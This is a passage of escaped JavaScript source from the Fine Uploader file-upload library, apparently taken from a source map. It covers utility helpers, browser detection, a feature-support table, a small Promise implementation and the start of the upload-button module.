(dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/* globals qq */\n/**\n * Fine Uploader top-level Error container.  Inherits from `Error`.\n */\n(function() {\n    \"use strict\";\n\n    qq.Error = function(message) {\n        this.message = \"[Fine Uploader \" + qq.version + \"] \" + message;\n    };\n\n    qq.Error.prototype = new Error();\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Placeholder for a Blob that will be generated on-demand.\n *\n * @param referenceBlob Parent of the generated blob\n * @param onCreate Function to invoke when the blob must be created.  Must be promissory.\n * @constructor\n */\nqq.BlobProxy = function(referenceBlob, onCreate) {\n    \"use strict\";\n\n    qq.extend(this, {\n        referenceBlob: referenceBlob,\n\n        create: function() {\n            return onCreate(referenceBlob);\n        }\n    });\n};\n","/*globals qq*/\n\n/**\n * This module represents an upload or \"Select File(s)\" button.  It's job is to embed an opaque `<input type=\"file\">`\n * element as a child of a provided \"container\" element.  This \"container\" element (`options.element`) is used to provide\n * a custom style for the `<input type=\"file\">` element.  The ability to change the style of the container element is also\n * provided here by adding CSS classes to the container on hover/focus.\n *\n * TODO Eliminate the mouseover and mouseout event handlers since the :hover CSS pseudo-class should now be\n * available on all supported browsers.\n *\n * @param o Options to override the default values\n */\nqq.UploadButton = function(o) {\n    \"use strict\";\n\n    var self = this,\n\n        disposeSupport = new qq.DisposeSupport(),\n\n        options = {\n            // Corresponds to the `accept` attribute on the associated `<input type=\"file\">`\n            acceptFiles: null,\n\n            // \"Container\" element\n            element: null,\n\n            focusClass: \"qq-upload-button-focus\",\n\n            // A true value allows folders to be selected, if supported by the UA\n            folders: false,\n\n            // **This option will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n            hoverClass: \"qq-upload-button-hover\",\n\n            ios8BrowserCrashWorkaround: false,\n\n            // If true adds `multiple` attribute to `<input type=\"file\">`\n            multiple: false,\n\n            // `name` attribute of `<input type=\"file\">`\n            name: \"qqfile\",\n\n            // Called when the browser invokes the onchange handler on the `<input type=\"file\">`\n            onChange: function(input) {},\n\n            title: null\n        },\n        input, buttonId;\n\n    // Overrides any of the default option values with any option values passed in during construction.\n    qq.extend(options, o);\n\n    buttonId = qq.getUniqueId();\n\n    // Embed an opaque `<input type=\"file\">` element as a child of `options.element`.\n    function createInput() {\n        var input = document.createElement(\"input\");\n\n        input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);\n        input.setAttribute(\"title\", options.title);\n\n        self.setMultiple(options.multiple, input);\n\n        if (options.folders && qq.supportedFeatures.folderSelection) {\n            // selecting directories is only possible in Chrome now, via a vendor-specific prefixed attribute\n            input.setAttribute(\"webkitdirectory\", \"\");\n        }\n\n        if (options.acceptFiles) {\n            input.setAttribute(\"accept\", options.acceptFiles);\n        }\n\n        input.setAttribute(\"type\", \"file\");\n        input.setAttribute(\"name\", options.name);\n\n        qq(input).css({\n            position: \"absolute\",\n            // in Opera only 'browse' button\n            // is clickable and it is located at\n            // the right side of the input\n            right: 0,\n            top: 0,\n            fontFamily: \"Arial\",\n            // It's especially important to make this an arbitrarily large value\n            // to ensure the rendered input button in IE takes up the entire\n            // space of the container element.  Otherwise, the left side of the\n            // button will require a double-click to invoke the file chooser.\n            // In other browsers, this might cause other issues, so a large font-size\n            // is only used in IE.  There is a bug in IE8 where the opacity style is  ignored\n            // in some cases when the font-size is large.  So, this workaround is not applied\n            // to IE8.\n            fontSize: qq.ie() && !qq.ie8() ? \"3500px\" : \"118px\",\n            margin: 0,\n            padding: 0,\n            cursor: \"pointer\",\n            opacity: 0\n        });\n\n        // Setting the file input's height to 100% in IE7 causes\n        // most of the visible button to be unclickable.\n        !qq.ie7() && qq(input).css({height: \"100%\"});\n\n        options.element.appendChild(input);\n\n        disposeSupport.attach(input, \"change\", function() {\n            options.onChange(input);\n        });\n\n        // **These event handlers will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n        disposeSupport.attach(input, \"mouseover\", function() {\n            qq(options.element).addClass(options.hoverClass);\n        });\n        disposeSupport.attach(input, \"mouseout\", function() {\n            qq(options.element).removeClass(options.hoverClass);\n        });\n\n        disposeSupport.attach(input, \"focus\", function() {\n            qq(options.element).addClass(options.focusClass);\n        });\n        disposeSupport.attach(input, \"blur\", function() {\n            qq(options.element).removeClass(options.focusClass);\n        });\n\n        return input;\n    }\n\n    // Make button suitable container for input\n    qq(options.element).css({\n        position: \"relative\",\n        overflow: \"hidden\",\n        // Make sure browse button is in the right side in Internet Explorer\n        direction: \"ltr\"\n    });\n\n    // Exposed API\n    qq.extend(this, {\n        getInput: function() {\n            return input;\n        },\n\n        getButtonId: function() {\n            return buttonId;\n        },\n\n        setMultiple: function(isMultiple, optInput) {\n            var input = optInput || this.getInput();\n\n            // Temporary workaround for bug in in iOS8 UIWebView that causes the browser to crash\n            // before the file chooser appears if the file input doesn't contain a multiple attribute.\n            // See #1283.\n            if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {\n                